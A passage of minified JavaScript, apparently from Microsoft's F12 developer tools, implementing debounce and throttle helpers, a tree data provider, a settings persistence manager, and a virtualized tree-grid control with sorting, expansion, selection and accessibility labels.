r;if(t.has(e)){r=t.get(e);clearTimeout(r.timeoutId)}else{r={callback:e,thisArg:i,args:null,timeoutId:-1};t.set(e,r)}r.args=o;r.timeoutId=setTimeout(s,n,r)}e.debouncedCall=n;function o(e,t,i,s){let n,o,r=i||0,a=!0,l=!0,h=0,d=null;s&&"boolean"==typeof s.leading&&(a=s.leading);s&&"boolean"==typeof s.trailing&&(l=s.trailing);let c=i=>{let s=(new Date).getTime(),u=s-h,m=a?r-u:r;if(u>=r&&(!i||a)){h=s;if(d){clearTimeout(d);d=null}n=e.apply(t,o)}else null===d&&l&&(d=setTimeout(c,m));return n};return(...e)=>{o=e;return c(!0)}}e.throttle=o;function r(e,t){let i=!1;return(...s)=>{if(!i){i=!0;e.apply(t,s)}}}e.runOnce=r;function a(e,t){return r(()=>{window.setImmediate(e)},t)}e.waitForPaintOnce=a}(e.Util||(e.Util={}))}(Common||(Common={}));!function(e){!function(e){!function(e){"use strict";function t(e){Microsoft.Plugin.F12.ErrorDisplay.show(e)}e.showErrorDisplay=t;function i(){Microsoft.Plugin.F12.ErrorDisplay.close()}e.closeErrorDisplay=i}(e.CommonContract||(e.CommonContract={}))}(e.SelfTest||(e.SelfTest={}))}(Common||(Common={}));!function(e){"use strict";var t=F12.Tools.Utility.Assert;class i{constructor(e,t){this.rowIndex=e;this.finalNode=t}}e.SlickTreeGraphNode=i;class s{constructor(){this.idLookup=new Map;this.onDataChanged=new Slick.Event;this.suspendGridUpdates=!1}getItem(e){t.hasValue(this.rootNode,"cant get items from empty list");t.hasValue(e,"invalid index");this.rootNode;let i=this.getNodeByRow(e);t.hasValue(i,"getItem should always return a valid node");return i}getNodeByRow(e){return this.computeDFS(this.rootNode,e).finalNode}getRowByNodeId(e){return this.computeDFS(this.rootNode,e).rowIndex}getNumberOfVisibleDescendants(e){return this.computeDFS(e).rowIndex}computeDFS(e,t,s=0){if(void 0!==t&&(t===s||t===e.id))return new i(s,e);let n=null;if(!e.collapsed&&e.firstChild){s++;s=(n=this.computeDFS(e.firstChild,t,s)).rowIndex}if(n&&n.finalNode)return n;if(e.nextSibling){s++;return this.computeDFS(e.nextSibling,t,s)}return new i(s,null)}getRowById(e){t.hasValue(this.rootNode,"cant get items from empty list");let i=this.getItemById(e);t.isTrue(i&&this.IsVisible(i),"cannot get row of node that is not visible in tree");return this.getRowByNodeId(e)}showNode(e){let i=this.getItemById(e);t.hasValue(i,"cannot show node that does not exist");let s=i.parent;for(;s;){s.collapsed&&this.expandNode(s.id);s=s.parent}}getLength(){return this.rootNode?this.rootNode.collapsed?1:1+this.getNumberOfVisibleDescendants(this.rootNode):0}getItemById(e){return e&&this.idLookup.has(e)?this.idLookup.get(e):null}getRootNodeId(){return this.rootNode?this.rootNode.id:null}addNode(e){let i=this.createISlickTreeNode(e);this.idLookup.set(i.id,i);if(i!==this.rootNode)if(i.parent){i.indent=i.parent.indent+1;i.previousSibling?i.previousSibling.nextSibling=i:i.parent.firstChild=i;i.nextSibling?i.nextSibling.previousSibling=i:i.parent.lastChild=i;i.parent.hasChildren=!0;this.notifyDataChanged()}else{t.isNull(this.getRootNodeId(),"Tree already contains a root node");this.rootNode=i;i.indent=0;this.notifyDataChanged()}else this.notifyDataChanged()}addNodes(e){this.beginUpdate();for(let t=0;t<e.length;t++)this.getItemById(e[t].id)||this.addNode(e[t]);this.endUpdate()}deleteNode(e){let t=this.getItemById(e);if(t){t===this.rootNode&&(this.rootNode=null);t.previousSibling?t.previousSibling.nextSibling=t.nextSibling:t.parent&&(t.parent.firstChild=t.nextSibling);t.nextSibling?t.nextSibling.previousSibling=t.previousSibling:t.parent&&(t.parent.lastChild=t.previousSibling);this.idLookup.delete(t.id);this.removeIdRecursive(t.firstChild);this.notifyDataChanged()}}collapseNode(e){let i=this.getItemById(e);t.isTrue(i,"node does not exist");t.isFalse(i.collapsed,"node allready collapsed");i.collapsed=!0;this.notifyDataChanged()}expandNode(e){let i=this.getItemById(e);t.isTrue(i,"node does not exist");t.isTrue(i.collapsed,"node allready expanded");i.collapsed=!1;this.notifyDataChanged()}beginUpdate(){this.suspendGridUpdates=!0}endUpdate(){this.suspendGridUpdates=!1;this.notifyDataChanged()}notifyDataChanged(){this.suspendGridUpdates||this.onDataChanged.notify()}IsVisible(e){let t=e.parent;for(;t;){if(t.collapsed)return!1;t=t.parent}return!0}removeIdRecursive(e){if(e){this.idLookup.delete(e.id);this.removeIdRecursive(e.firstChild);this.removeIdRecursive(e.nextSibling)}}createISlickTreeNode(e){let i=e;i.parent=this.getItemById(e.parentId);i.nextSibling=this.getItemById(e.nextSiblingId);i.previousSibling=this.getItemById(e.previousSiblingId);i.firstChild=this.getItemById(e.firstChildId);i.lastChild=this.getItemById(e.lastChildId);i.collapsed=!0;e.parentId&&t.hasValue(i.parent,"Cannot insert child before parent");null!=e.firstChildId?i.hasChildren=!0:i.hasChildren=!1;delete e.parentId;delete e.previousSiblingId;delete e.nextSiblingId;delete e.firstChildId;delete e.lastChildId;return i}}e.SlickTreeDataProvider=s}(Common||(Common={}));!function(e){"use strict";class t{constructor(e){F12.Tools.Utility.Assert.hasValue(e,"persistence manager settings key cannot be null or undefined");this._settingsKey=e;this._settings={};this.isAttached=!0}persistSettingsMap(e=!0){F12.Tools.Utility.Assert.areEqual(e,!0,"isAttached is false");if(this.isAttached){this.isAttached=e;Microsoft.Plugin.Settings.set(this._settingsKey,this._settings)}}initializeSettingMap(){return Microsoft.Plugin.Settings.get(this._settingsKey).then(e=>this._settings=e,()=>this._settings={})}getSetting(e,t){return this._settings.hasOwnProperty(e)?this._settings[e]:t}setSetting(e,t){F12.Tools.Utility.Assert.hasValue(t,"Value cannot be null or undefined");this._settings[e]=t;this.persistSettingsMap()}}e.PersistenceManager=t}(Common||(Common={}));!function(e){"use strict"}(Common||(Common={}));!function(e){"use strict";let t;!function(t){let i;!function(t){let i;!function(i){let s;!function(e){class t{static stableReverse(e,t){var i=[],s=e.length-1;s>=0&&e[s].data.hasMoreText&&s--;for(;s>=0;s--){for(var n=s-1;n>=0&&0===t(e[n],e[s]);n--);for(var o=n+1;o<=s;o++)i.push(e[o]);s=n+1}for(var r=0;r<i.length;r++)e[r]=i[r]}static defaultComparer(e,t,i,s){var n=i[e.index],o=s[e.index];return void 0===n||null===n?void 0===o||null===o?0:-1:n.toString().toLocaleUpperCase().localeCompare(o.toString().toLocaleUpperCase())}static sortComparer(t,i,s,n){if(s.hasMoreText)return 1;if(n.hasMoreText)return-1;for(var o=0;o<t.length;o++){var r=t[o],a=i[o],l=(a.comparer||e.TreeNodeSort.defaultComparer)(a,r.order,s,n);if(0!==l)return"desc"===r.order?-l:l}return 0}}e.TreeNodeSort=t}(s||(s={}));class n{constructor(e,t,i){this.gridData=e;this.expandStates=t;this.toggleFunction=i}}i.TreeInfo=n;class o{constructor(e,t,i,s,n,o,r,a,l){this.index=e;this.text=t;this.tooltip=i;this.width=s;this.canSortBy=n;this.getColumnValue=o;this.getCellCSSClass=r;this.comparer=a;this.hasHTMLContent=!1;this.variableWidth=l}}i.ColumnInfo=o;class r{constructor(e,t){this.index=e;this.order=t}}i.SortOrderInfo=r;class a{constructor(e,t){this.data=e;this.expandState=t;this.children=[]}}i.TreeNode=a;class l{constructor(e,t,i,s,n){this.backgroundColor=e;this.icon=t;this.checkbox=i;this.headerClickSortColumn=s;this.getTooltip=n}}i.GutterOptions=l;class h{constructor(e,t,i,s,n,o){this.childDataCallback=e;this.loadMoreChildDataCallback=t;this.columns=i;this.sortOrders=s;this.allowMultiSelect=!1;this.allowSortOnMultiColumns=!1;this.ariaTitle="";this.asyncInit=!0;this.autoSort=!0;this.coreCssClass="grid";this.cssClass="";this.expandStates=[];this.extendViewportBy=3;this.gutter=new l;this.header=!0;this.height="100%";this.initialSelection=!1;this.keepSelection=!1;this.payloadSize=200;this.source=null;this.editCellCallback=n;this.rowSelectedCallback=o;this.disableRightClickSelection=!0;this.isGridDisabled=!1;this.sizeColumns()}sizeColumns(){if(this.columns){for(var e=document.documentElement.offsetWidth-66,t=0,i=-1,s=0;s<this.columns.length;s++)this.columns[s].variableWidth&&-1===i?i=s:t+=this.columns[s].width;if(i>=0){var n=e-t;n>this.columns[i].width&&(this.columns[i].width=n)}}}}i.GridOptions=h;class d{constructor(e,t){this.rowIndex=e;this.dataIndex=t}}i.RowIndexInfo=d;class c{constructor(e,t){this.width=e;this.height=t}}class u{constructor(e,t){this.start=e;this.end=t}}class m{constructor(e,t,i,s){this.active=e;this.index=t;this.originalWidth=i;this.origin=s}}class p extends t.Control{constructor(e,t){super(e);this._gridInstanceNumber=p.GlobalGridInstanceNumber++;this._options=t;this._canvas=null;this._contentSpacer=null;this._element=null;this._gutter=null;this._gutterHeader=null;this._header=null;this._headerCanvas=null;this._dataSource=[];this._rows={};this._columns=[];this._expandStates=null;this._expandedCount=0;this._sortOrder=[];this._rowInfoMap=new Map;this._editCellCallback=null;this._selectedRows=null;this._selectionStart=-1;this._selectionCount=0;this._selectedIndex=-1;this._active=!1;this._activeAriaId=null;this._getChildDataCallback=null;this._getLoadMoreChildDataCallback=null;this._rowSelectedCallback=null;this._canvasHeight=300;this._canvasWidth=300;this._contentSize=null;this._measurements={};this._count=0;this._indentIndex=0;this._indentLevels=null;this._visibleRange=[];this._columnSizing=null;this._sizingElement=null;this._copyInProgress=!1;this._resetScroll=!1;this._ignoreScroll=!1;this._scrollTop=0;this._scrollLeft=0;this._cancelable=null;this._onAriaExpandedModifiedHandler=this.onAriaExpandedModified.bind(this);this.initialize()}getSelectionCount(){return this._selectionCount}getElement(){return this._element}setAriaDescription(e){this._ariaDescription=e;this._updateGridAriaLabel()}setGutterHeaderClickSortColumn(e){this._options.gutter.headerClickSortColumn=e}initializeDataSource(){var e;if(this._resetScroll){this._ignoreScroll=!0;try{(e=this._canvas).scrollTop=0;e.scrollLeft=0;this._scrollLeft=0;this._scrollTop=0;this._resetScroll=!1}finally{this._ignoreScroll=!1}}this.setDataSource(this._options.source,this._options.expandStates,this._options.columns,this._options.sortOrders);this._expandedCount>0?this._options.keepSelection&&this._selectedIndex>=0?this._selectRow(Math.min(this._selectedIndex,this._expandedCount-1)):this._selectRow(!1!==this._options.initialSelection?0:-1):this.setSelectedRowIndex(-1)}setDataSource(e,t,i,s,n){var o,r,a;this._rowInfoMap=new Map;this._dataSource=e||[];this._count=a=this._dataSource.length;if(t){this._expandStates=t;this._indentLevels=p.expand(t)}else{this._indentLevels=null;this._expandStates=null}this._expandedCount=a;this._updateRanges();this._columns=[];if(i){var l=(e,t,i,s,n,o,r)=>this._drawCell(e,t,i,s,n,o,r),h=(e,t)=>this._drawHeaderCellValue(e,t),d=(e,t,i)=>this.getColumnValue(e,t,i);for(o=0,r=i.length;o<r;o++){var c=i[o];c.index=void 0!==c.index?c.index:String(o);c.canSortBy=!1!==c.canSortBy;c.canMove=!1!==c.canMove;c.width=void 0!==c.width?c.width:100;c.getCellContents=c.getCellContents||l;c.getHeaderCellContents=c.getHeaderCellContents||h;c.getColumnValue=c.getColumnValue||d;this._columns.push(c)}}this._sortOrder=[];if(s){for(o=0,r=s.length;o<r;o++){var u=s[o];"desc"!==u.order&&(u.order="asc");this._sortOrder.push(u)}this.setGutterHeaderSortOrder()}this._clearSelection();this._determineIndentIndex();this._options.asyncInit?window.setTimeout(()=>this._layoutAfterSetDataSource(n),0):this._layoutAfterSetDataSource(n)}updateGetChildDataCallback(e){this._getChildDataCallback=e}getRowInfo(e){return this._rows[e]}getRowData(e){return this._dataSource[e]}getColumns(){return this._columns||[]}getSortOrder(){return this._sortOrder||[]}expandNode(e){if(this._dataSource[e+1].isPlaceholder){var t=this.getExpansionPath(e);this._getChildDataCallback(this._dataSource[e],t,(t,i)=>{if(null!==t){var s=e+1;this._adjustForDynamicData(t.itemsWithPlaceholders,t.expandStates,e,s,i)}})}if(this._expandStates){var i=this._expandStates[e];if(i<0){this._expandStates[e]=-i;this._updateRanges();var s=this._rows[e];s&&(s.isDirty=!0)}}}collapseNode(e){if(this._expandStates){var t=this._expandStates[e];if(t>0){this._expandStates[e]=-t;this._updateRanges();var i=this._rows[e];i&&(i.isDirty=!0)}}}expandAllNodes(){var e=0,t=this._count,i=this._expandStates,s=!1,n=this._rows;if(i){for(;e<t;){var o=i[e];if(o<0){i[e]=-o;s=!0;var r=n[e];r&&(r.isDirty=!0)}e++}s&&this._updateRanges()}return s}collapseAllNodes(){var e=0,t=this._count,i=this._expandStates,s=!1,n=this._rows;if(i){for(;e<t;){var o=i[e];if(o>0){i[e]=-o;s=!0;var r=n[e];r&&(r.isDirty=!0)}e++}s&&this._updateRanges()}return s}expandAll(){this._updateExpansionStateAndRedraw(()=>this.expandAllNodes)}collapseAll(){this._updateExpansionStateAndRedraw(()=>this.collapseAllNodes)}tryToggle(e,t,i){var s;if(!this._expandStates||this._selectedIndex<0||this._expandedCount<=0)return!1;var n=void 0!==i?i:this._getDataIndex(this._selectedIndex);if(!this._rows[n])return!1;if(0!==(s=this._expandStates[n])){if(e){if(!(s<0))return!1;this.expandNode(n)}else{if(!(s>0))return!1;this.collapseNode(n)}this._clearSelection();this._addSelection(this._getRowIndex(n));this._layoutContentSpacer();this._redraw();return!0}return!1}getSelectedRowIntoView(e){this._selectedIndex>=0&&this._getRowIntoView(this._selectedIndex,e)}cacheRows(e,t,i){}updateRow(e,t){var i=0,s=0;void 0===t||t<0?t=this._getDataIndex(e):(void 0===e||e<0)&&(e=this._getRowIndex(t));var n=this._rows[t];if(n){if(this._expandStates){i=this._expandStates[t];s=this._indentLevels[t]}this._updateRow(n,e,t,i,s)}}layout(){this._measureCanvasSize();this._cleanUpRows();this._fixScrollPos();this._layoutContentSpacer();this._updateViewport();this._layoutHeader();this._drawHeader()}redraw(){this._fixScrollPos();this._redraw(!0)}getColumnValue(e,t,i){return this._dataSource[e][t]}getColumnText(e,t,i,s){var n,o=t.getColumnValue(e,t.index,i,this._dataSource,s);n="string"!=typeof o?p.convertValueToDisplayString(o,t.format):o;t.maxLength=Math.max(t.maxLength||0,n.length);return n}getSelectedRowIndex(){return 0===this._selectionCount?-1:this._selectedIndex}setSelectedRowIndex(e){this._clearSelection();this._addSelection(e)}getSelectedDataIndex(){return this._getDataIndex(this._selectedIndex)}getSelectedDataIndices(){var e,t=this._selectedRows,i=[];if(t)for(e in t)i[i.length]=t[e];return i}ensureDataIndexExpanded(e){for(var t=this._getRowIndex(e);t<0||e>0&&0===t;){this.expandNode(this._getDataIndex(-t));t=this._getRowIndex(e)}return t}setSelectedDataIndex(e,t){var i=t?this.ensureDataIndexExpanded(e):this._getRowIndex(e);this.setSelectedRowIndex(i)}setFocusToSelectedRow(){this._updateAriaAttribute();this.getSelectedRowIntoView(!0)}selectionChanged(e,t,i){}selectedIndexChanged(e,t){}onSort(e,t){this.fireCustomEvent(this._element,"sortStarted");if(this._options.autoSort){this._trySorting(e,t);this._sortOrder=e;this.layout()}return!0}getRowInfoFromEvent(e,t){var i=this.findClosestElement(e.target,t);return this._rowInfoMap.get(i)}getExpandStates(){return this._expandStates}getExpansionPath(e){if(e<0||e>=this._expandStates.length)throw new Error("Item does not exist");for(var t=[],i=0;i<e;){var s=i+Math.abs(this._expandStates[i]);if(e<=s){t.push(this._dataSource[i]);i++}else i=s+1}if(i!==e)throw new Error("Invalid expandStates format or incorrect assumption");t.push(this._dataSource[e]);return t}ensureSelectedIndex(e){this._ensureSelectedIndex(e,!0)}static expand(e){var t=[];if(e.length>0){var i=[],s={level:1,origCount:e.length,remainingCount:e.length};i.push(s);for(var n=0;n<e.length;){t.push(s.level);s.remainingCount--;for(;0===s.remainingCount;){i.pop();if(0===i.length){if(n===e.length-1)break;throw new Error("invalid descendant counts, nesting not possible")}var o=i[i.length-1];o.remainingCount-=s.origCount;if((s=o).remainingCount<0)throw new Error("invalid descendant counts, cannot convert to indentation levels")}var r=Math.abs(e[n]);if(r>0){var a={level:t[t.length-1]+1,origCount:r,remainingCount:r};i.push(a);s=a}n++}if(i.length>0)throw new Error("invalid descendant counts, more input expected")}return t}static addItemsToTree(e,t,i,s,n){for(var o=Math.min(i+s,e.length),r=i;r<o;r++){var l=new a(e[r],t[r]),h=Math.abs(l.expandState);if(h>0){p.addItemsToTree(e,t,r+1,h,l);r+=h}n.children.push(l)}}static walkTree(e,t){if(t){t(e);var i=0,s=e.children;if(s&&(i=s.length))for(var n=0;n<i;n++){var o=s[n];p.walkTree(o,t)}}}static makeElementUnselectable(e){e.setAttribute("unselectable","on");for(var t=e.querySelectorAll("*"),i=0;i<t.length;i++){var s=t[i];switch(s.tagName){case"IFRAME":case"TEXTAREA":case"INPUT":case"SELECT":break;default:s.setAttribute("unselectable","on")}}}static toDecimalLocaleString(e,t,i){var s,n,o,r=function(e,t,i){for(var s=e.length;s<t;s++)e=i?"0"+e:e+"0";return e},a=e.toString(),l="";n=i?i.numberFormat:Microsoft.Plugin.Culture.NumberFormat;a=(o=a.split(/e/i))[0];s=o.length>1?parseInt(o[1],10):0;a=(o=a.split("."))[0];l=o.length>1?o[1]:"";if(s>0){a+=(l=r(l,s,!1)).slice(0,s);l=l.substr(s)}else if(s<0){l=(a=r(a,(s=-s)+1,!0)).slice(-s,a.length)+l;a=a.slice(0,-s)}l.length>0&&(l=n.numberDecimalSeparator+l);if(!0===t){for(var h=n.numberGroupSizes,d=n.numberGroupSeparator,c=h[0],u=1,m=a.length-1,p="";m>=0;){if(0===c||c>m)return p.length>0?a.slice(0,m+1)+d+p+l:a.slice(0,m+1)+l;p=p.length>0?a.slice(m-c+1,m+1)+d+p:a.slice(m-c+1,m+1);m-=c;if(u<h.length){c=h[u];u++}}return a.slice(0,m+1)+d+p+l}return a+l}static convertValueToDisplayString(e,t){return null!=e?"string"==typeof e?e:e?e.localeFormat(t||"G"):"number"==typeof e?t?e.toLocaleString(t):p.toDecimalLocaleString(e):"boolean"==typeof e?e?"True":"False":e.toString():""}static _setTooltip(e,t,i){var s=t.trim();if(s){var n={content:s,height:i};e.setAttribute("data-plugin-vs-tooltip",JSON.stringify(n))}}initialize(){this._element=document.createElement("div");this._element.className=this._options.coreCssClass;this._element.style.height=this._options.height;this.rootElement.appendChild(this._element);this._buildDom();this._contentSize=new c(300,400);this._takeMeasurements();this._getChildDataCallback=this._options.childDataCallback||null;this._getLoadMoreChildDataCallback=this._options.loadMoreChildDataCallback||null;this._editCellCallback=this._options.editCellCallback||null;this._rowSelectedCallback=this._options.rowSelectedCallback||null;this._options.asyncInit?window.setTimeout(function(){this._attachEvents()}.bind(this),10):this._attachEvents();this.initializeDataSource()}findClosestElement(e,t){for(var i=this._element.parentNode,s=e;s&&s!==i;){if(s.msMatchesSelector(t))return s;s=s.parentNode}return s}fireCustomEvent(e,t,i){var s=document.createEvent("Event");s.initEvent(t,!0,!0);s.customData=i;e.dispatchEvent(s)}onAriaExpandedModified(e){if("aria-expanded"===e.attrName){var t=this.getRowInfoFromEvent(e,".grid-row");t&&this.tryToggle("true"===e.newValue,!1,t.dataIndex)}}createElementWithClass(e,t){var i=document.createElement(e);t&&(i.className=t);return i}_getId(){return p.TYPE_NAME+this._gridInstanceNumber}_enhance(e){this._buildDom()}_buildDom(){var e=document.createDocumentFragment(),t=this._options.gutter,i=t&&(t.icon||t.checkbox);this._canvas=document.createElement("div");this._canvas.className="grid-canvas";this._contentSpacer=document.createElement("div");this._contentSpacer.className="grid-content-spacer";this._canvas.appendChild(this._contentSpacer);if(this._options.header){this._element.classList.add("has-header");this._header=document.createElement("div");this._header.className="grid-header";this._headerCanvas=document.createElement("div");this._headerCanvas.className="grid-header-canvas";this._header.appendChild(this._headerCanvas);e.appendChild(this._header)}if(i){this._element.classList.add("has-gutter");this._gutter=document.createElement("div");this._gutter.className="grid-gutter";t&&t.backgroundColor&&(this._gutter.style.backgroundColor=t.backgroundColor);this._canvas.appendChild(this._gutter);if(this._header){this._gutterHeader=document.createElement("div");this._gutterHeader.className="grid-gutter-header";this._gutterHeader.classList.add("grid-header-column");this._header.appendChild(this._gutterHeader);var s=this.createElementWithClass("div","sort-handle");this._gutterHeader.appendChild(s);this.setGutterHeaderSortOrder()}}e.appendChild(this._canvas);this._element.appendChild(e);this._ariaColumns="";for(var n=0;n<this._options.columns.length;n++){var o=this._options.columns[n];this._ariaColumns&&(this._ariaColumns+=", ");this._ariaColumns+=o.text}this._updateGridAriaLabel()}_updateGridAriaLabel(){var e="";(e+=this._options.ariaTitle||"")&&(e+=", ");(e+=this._ariaColumns||"")&&(e+=", ");e+=this._ariaDescription||"";this._element.setAttribute("aria-label",e)}setGutterHeaderSortOrder(){if(this._sortOrder&&0!==this._sortOrder.length&&this._options.gutter.headerClickSortColumn)if(this._options.allowSortOnMultiColumns){for(var e=!1,t=0;t<this._sortOrder.length;t++){if((i=this._sortOrder[t]).index===this._options.gutter.headerClickSortColumn.index){e=!0;this._setSortOrderClass(this._gutterHeader,i.order)}}e||this._setSortOrderClass(this._gutterHeader,"none")}else{var i;(i=this._sortOrder[0]).index===this._options.gutter.headerClickSortColumn.index?this._setSortOrderClass(this._gutterHeader,i.order):this._setSortOrderClass(this._gutterHeader,"none")}}_attachEvents(){window.addEventListener("resize",e=>this._onContainerResize(e));this._element.addEventListener("keydown",e=>this._onKeyDown(e));this._canvas.addEventListener("mousedown",e=>this._onRowMouseDown(e));this._canvas.addEventListener("dblclick",e=>this._onEditCell(e));this._canvas.addEventListener("scroll",e=>this._onCanvasScroll(e));this._canvas.addEventListener("selectstart",function(){return!1});this._canvas.addEventListener("focusin",e=>{this._canvasContainsFocus=!0});this._canvas.addEventListener("focusout",e=>{this._canvasContainsFocus=!1});if(this._header){this._header.addEventListener("mousedown",e=>this._onHeaderMouseDown(e));this._header.addEventListener("mouseup",e=>this._onHeaderMouseUp(e));this._header.addEventListener("click",e=>this._onHeaderClick(e));this._header.addEventListener("dblclick",e=>this._onHeaderDblClick(e))}if(this._gutter){this._gutterHeader&&this._gutterHeader.addEventListener("click",e=>{this._sortBy(this._options.gutter.headerClickSortColumn,!1);this.setGutterHeaderSortOrder()});this._gutter.addEventListener("click",e=>this._onGutterClick(e));this._gutter.addEventListener("mouseover",function(e){var t=this.findClosestElement(e.target,".grid-gutter-row");t&&t.classList.add("grid-gutter-row-hover")}.bind(this));this._gutter.addEventListener("mouseout",function(e){var t=this.findClosestElement(e.target,".grid-gutter-row");t&&t.classList.remove("grid-gutter-row-hover")}.bind(this))}}_mergeExpandStates(e,t,i,s){var n=s.length-1;i.splice(t,1);for(var o=0;o<=n;o++)i.splice(t+o,0,s[o]);var r=0;for(o=e;o>=0;o--){var a=i[o];if(Math.abs(a)>r){i[o]=a<0?a-n:a+n;r=0}else r++}}_takeMeasurements(){var e=this._options.coreCssClass;this._options.cssClass&&(e+=" "+this._options.cssClass);var t=this.createElementWithClass("div",e);t.style.position="absolute";t.style.left="-5000px";t.style.top="-5000px";t.style.width="1000px";t.style.height="500px";document.body.appendChild(t);var i=this.createElementWithClass("div","grid-row grid-row-normal");t.appendChild(i);var s=this.createElementWithClass("div","grid-cell");s.style.width="100px";s.innerText="1";i.appendChild(s);this._measurements.rowHeight=i.offsetHeight;this._measurements.cellOffset=s.offsetWidth-100;var n=this.createElementWithClass("div");n.style.overflow="hidden";n.style.width="1em";n.style.height="1ex";s.appendChild(n);this._measurements.unitEx=n.offsetHeight;var o=this.createElementWithClass("div","grid-gutter");o.appendChild(this.createElementWithClass("div","grid-gutter-row"));t.appendChild(o);this._gutter?this._measurements.gutterWidth=o.clientWidth:this._measurements.gutterWidth=0;document.body.removeChild(t)}_layoutAfterSetDataSource(e){this.layout();-1!==e&&this._ensureSelectedIndex(e)}_adjustForDynamicData(e,t,i,s,n){if(n){var o={hasMoreText:n};e.push(o);t.push(0)}this._dataSource.splice(s,1);for(var r=0;r<e.length;r++)this._dataSource.splice(s+r,0,e[r]);this._mergeExpandStates(i,s,this._expandStates,t);var a=this._dataSource.length;this._count=a;this._expandStates?this._indentLevels=p.expand(this._expandStates):this._indentLevels=null;this._expandedCount=a;this._updateRanges();this._clearSelection();this._determineIndentIndex();this.layout()}_ensureSelectedIndex(e,t){var i=this._selectedIndex;"number"==typeof e&&(this._selectedIndex=e);if(this._selectedIndex>=0){this._count<=this._selectedIndex&&(this._selectedIndex=this._count-1);(this._selectedIndex!==i||t)&&this._addSelection(this._selectedIndex)}}_determineIndentIndex(){var e,t,i=this._columns;for(e=0,t=i.length;e<t;e++)if(i[e].indent){this._indentIndex=e;return}this._indentIndex=0}_getDataIndex(e){var t,i,s,n=-1,o=this._visibleRange;if(e<0)return-1;for(t=0,i=o.length;t<i;t++)if(e<=(n+=(s=o[t]).end-s.start+1))return s.end-n+e;return e}_getRowIndex(e){var t,i,s,n=0,o=this._visibleRange;for(t=0,i=o.length;t<i&&e>=(s=o[t]).start;t++){if(e<=s.end)return n+e-s.start;n+=s.end-s.start+1}return-Math.max(0,n-1)}_updateRanges(){var e=0,t=0,i=this._count,s=[],n=0;if(this._expandStates){for(;e<i;){var o=this._expandStates[e];if(o<0){s[s.length]=new u(t,e);n+=e-t+1;t=e+=1-o}else e++}if(t<i){s[s.length]=new u(t,i-1);n+=i-t}}else{n=i;s[s.length]=new u(0,n)}this._expandedCount=n;this._visibleRange=s}_updateExpansionStateAndRedraw(e){var t,i=this._selectedIndex;i>=0&&(t=this._getDataIndex(i));e();if(i>=0){this._clearSelection();this._addSelection(Math.abs(this._getRowIndex(t)))}this._layoutContentSpacer();this._redraw()}_getVisibleRowIndices(){var e=this._scrollTop,t=e+this._canvasHeight,i=this._expandedCount-1,s=this._measurements.rowHeight||1;return{first:Math.min(i,Math.max(0,Math.ceil(e/s))),last:Math.min(i,Math.floor(t/s)-1)}}_getRowIntoView(e,t){if(t){this._canvas.scrollTop=Math.max(0,Math.min(e||0,this._expandedCount-1))*this._measurements.rowHeight;return!0}var i=this._getVisibleRowIndices(),s=i.first,n=i.last,o=n-s;if(e<s||e>n){s=this._selectedIndex>s?Math.max(e-o,0):Math.max(0,Math.min(e+o,this._expandedCount-1)-o);this._canvas.scrollTop=s*this._measurements.rowHeight;return!0}return!1}_updateViewport(e){var t=this._count,i=[],s=[],n=[],o=this._expandStates||[],r=this._expandedCount-1,a=this._getVisibleRowIndices(),l=a.first,h=a.last;l=Math.max(0,l-this._options.extendViewportBy);h=Math.min(r,h+this._options.extendViewportBy);for(var c=Math.max(0,l-this._options.payloadSize),u=Math.min(r,h+this._options.payloadSize),m=this._getDataIndex(c),p=c;p<=u&&m<t;p++){if(p<l)i[i.length]=new d(p,m);else if(p>h)s[s.length]=new d(p,m);else{n[n.length]=new d(p,m);p}var _=o[m];_<0?m+=1-_:m++}this.cacheRows(i,n,s);this._drawRows(n,e);if(this._updateAriaOnViewportUpdate){this._updateAriaOnViewportUpdate=!1;this._updateAriaAttribute()}}_cleanUpRows(){var e=this._rows,t=this._gutter;for(var i in e){var s=e[i];s.row.parentElement&&s.row.parentElement.removeChild(s.row);t&&s.gutterRow.parentElement&&s.gutterRow.parentElement.removeChild(s.gutterRow)}this._rows={}}_drawRows(e,t){var i,s,n=this._expandStates,o=0,r=this._indentLevels,a=0,l=this._gutter,h=this._canvas,d=document.createDocumentFragment(),c=null;if(l){i=this._gutter;c=document.createDocumentFragment()}var u=this._rows,m={};this._rows=m;for(var p=e.length,_=0;_<p;_++){var g=e[_],f=g.rowIndex,C=g.dataIndex,v=u[C];if(v){if(s=v.rowIndex!==f)v.rowIndex=f;else{s=v.isDirty;delete v.isDirty}t&&(s=!0);delete u[C]}else{s=!0;var S=this.createElementWithClass("div","grid-row grid-row-normal");S.id="row_"+this._getId()+"_"+f;d.appendChild(S);var E={rowIndex:f,dataIndex:C,row:S};if(l){var T=this.createElementWithClass("div","grid-gutter-row");c.appendChild(T);this._rowInfoMap.set(T,E);E.gutterRow=T}this._rowInfoMap.set(S,E);v=E;S.onfocus=this._onFocus.bind(this);S.onblur=this._onBlur.bind(this);S.ondblclick=this._onToggle.bind(this,E)}m[C]=v;if(s){if(n){o=n[C];a=r[C]}this._updateRow(v,f,C,o,a)}}for(var I in u){v=u[I];if(l){this._rowInfoMap.delete(v.gutterRow);v.gutterRow.parentElement.removeChild(v.gutterRow)}this._rowInfoMap.delete(v.row);v.row.parentElement.removeChild(v.row)}h.appendChild(d);l&&i.appendChild(c)}_setSortOrderClass(e,t){if("asc"===t){e.classList.remove("descending");e.classList.add("ascending")}else if("desc"===t){e.classList.remove("ascending");e.classList.add("descending")}else if("none"===t){e.classList.remove("ascending");e.classList.remove("descending")}}_updateRow(e,t,i,s,n){var o=this._indentIndex;if(this._gutter){var r=this._options.gutter,a=e.gutterRow;a.style.top=t*this._measurements.rowHeight+"px";a.style.left="0px";a.style.width=this._measurements.gutterWidth+"px";a.style.height=this._measurements.rowHeight+"px";a.innerHTML="";if(r.checkbox){var l=this.createElementWithClass("input","checkbox "+(r.checkbox.cssClass||""));l.setAttribute("type","checkbox");var h=this.createElementWithClass("div","grid-gutter-cell grid-gutter-checkbox");h.appendChild(l[0]);a.appendChild(h)}if(r.icon){var d="grid-gutter-cell grid-gutter-icon ";void 0!==r.icon.cssClass&&(d+=r.icon.cssClass+" ");void 0!==r.icon.index&&(d+=(this.getColumnValue(i,r.icon.index,-1)||"")+" ");r.icon.gutterIconCssCallback&&(d+=r.icon.gutterIconCssCallback(i,this._dataSource)||"");var c=this.createElementWithClass("div",d);if(r.getTooltip){var u=r.getTooltip(i,this._dataSource);u&&p._setTooltip(c,u,16)}a.appendChild(c)}this._drawGutterCell(e,t,i,s,n)}var 